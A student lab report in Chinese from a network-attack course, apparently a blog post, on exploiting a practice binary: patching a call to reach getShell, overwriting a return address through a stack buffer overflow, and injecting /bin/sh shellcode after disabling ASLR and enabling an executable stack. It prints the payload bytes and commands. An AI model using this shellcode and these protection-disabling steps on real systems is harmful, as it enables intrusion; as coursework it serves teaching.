实验内容

  • 直接修改程序,跳转到getShell函数。
  • 使用BOF攻击,覆盖返回地址,触发getShell函数。
  • 注入一个自己的shellcode并运行。

    任务一:直接修改程序,跳转到getShell函数。

    1.首先使用chmod +x pwn1变成可执行文件,提高权限
    2.使用objdump -d pwn1,反汇编pwn1文件

在80484b5: e8 d7 ff ff ff call 8048491 这条指令调用08048491处的foo函数
如果想让函数调用getShell,需要修改d7 ff ff ff。根据foo函数与getShell地址的偏移量,计算地址:

  • 0x08048491 - 0x0804847d = 0x00000014 //计算地址差
  • 0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址
    使用vi指令编辑,进去之后显示乱码,然后使用:%!xxd命令转换为16进制找到d7

按i将d7改为c3

再使用:%!xxd -r换回乱码。保存之后退出

再次使用objdump -d pwn1,查看被修改后的文件

执行程序pwn1

任务一完成

任务二:使用BOF攻击,覆盖返回地址,触发getShell函数。

使用gdb进行调试程序,运行程序,输入一大串字符abcdefghijklmnopqrstuvwxyz1234567890
得到结果

得到一个错误的返回地址0x30393837
因为是小端机器,所以说明是后面四位发生了溢出,覆盖了返回地址,那么我们如果想要让他跳转到其他地方就需要修改后四位地址,
那我们只需要把最后四位写为\xd7\x84\x04\x08(即shellcode的起始地址0x080484d7)就完成了
使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input管道命令
就攻击成功了

任务三:注入一个自己的shellcode并运行。

注入shellcode的意思是shellcode在输入的时候被放入堆栈,在堆栈里面就有机会把返回地址指向shellcode,实现攻击。
首先要设置堆栈可执行
execstack -s 20165337pwn2 //设置堆栈可执行
execstack -q 20165337pwn2 //查询文件的堆栈是否可执行
若不能成功则使用apt-get install execstack进行更新
然后查询一下是否可执行若为X 20165337pwn2则为可执行

然后我们还需要关闭地址随机化
使用echo "0" > /proc/sys/kernel/randomize_va_space关闭,否则每次执行esp的值都会发生变化
整个过程中我们需要注入一段代码,然后构造一个构造一个input_shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
一个窗口运行(cat input_shellcode;cat) | ./20165337pwn2
另一个窗口运行ps -ef | grep pwn可以查看到当前进程号
然后在gdb里面输入attach 进程号
(gdb) disassemble foo反编译查看地址

得到0xffffd30c
计算d30c+0004为d310
然后修改input_shellcode
最终攻击成功

2018-2019-2 网络对抗技术 20165337 Exp1 PC平台逆向破解(BOF实验)的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 20165205 《网络对抗技术》 Exp1 PC平台逆向破解

    2018-2019-2 20165205 <网络对抗技术> Exp1 PC平台逆向破解 1. 实验任务 1.1实验概括 用一个pwn1文件. 该程序正常执行流程是:main调用foo函数, ...

  3. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  4. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  5. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  6. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  7. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  8. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  9. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

随机推荐

  1. Python--day14(迭代器)

    今日主要内容 1.  带参装饰器 (了了解) 2.  迭代器(*****) 可迭代对象 迭代器对象 for迭代器 枚举对象 1.  带参装饰器 1.  通常,装饰器为被装饰的函数添加新功能,需要外界的 ...

  2. maven打包额外的资源文件

    在用Maven打包的时候发现,有一些资源文件打包不到jar包中,于是了解了一下Maven的打包配置,最后得到了解决问题的办法. Maven资源文件的默认约定 构建Maven项目的时候,如果没有进行特殊 ...

  3. 初始ajax技术

    一.AJAX是啥? 1.页面无需刷新,异步请求. 2.为什么使用ajax? 原因: 1传统模式  需要将请求发送到服务器,服务器经过业务处理,返回一个页面给客户端.这样做,会很浪费资源. 2.ajax ...

  4. 回温js算法

    ---恢复内容开始--- 一,冒泡排序. 具体算法描述如下: <1>.比较相邻的元素.如果第一个比第二个大,就交换它们两个: <2>.对每一对相邻元素作同样的工作,从开始第一对 ...

  5. idea安装成功后,设置字体、快捷键、配置jdk等操作

    设置字体 配置jdk 快捷键 复制当前一行: 设置自动提示,不区分大小写 关闭当前窗口 设置类头注释 自定义注释+注释快捷键 Lombok 插件安装  get.set方法报红cannot resolv ...

  6. 前端js日期时间格式转换

    前端前后端接口处理时经常会遇到需要转换不同时间格式的情况,比如时间戳格式转换成正常日期显示来进行前端展示. 下面是分享一些不同格式的日期转换函数方法. /** * 时间戳转时间 * @param {S ...

  7. python的局部变量,全局变量,类变量,实例变量

    定义: a.全局变量:在模块内.在所有函数外面.在class外面,这就是全局变量. b.局部变量:在函数内.在class的方法内(未加self修饰的),这就是局部变量. c. 静态变量:在class内 ...

  8. Spring MVC 使用介绍(十二)控制器返回结果统一处理

    一.概述 在为前端提供http接口时,通常返回的数据需要统一的json格式,如包含错误码和错误信息等字段. 该功能的实现有四种可能的方式: AOP 利用环绕通知,对包含@RequestMapping注 ...

  9. 用 hugo 和 netlify 搭建blog【转】

    用 hugo 和 netlify 搭建blog - kok的笔记本 Releases · gohugoio/hugo · GitHub 测试baidu 测试163

  10. loadrunner断言多结果返回

    有这么一个场景,接口返回的多个状态都是正常的,那么在压测的时候,断言就需要多 init里面执行登录,根据返回获取到tokenId action中,执行登录后的操作,获取响应返回的状态,把正确的状态个数 ...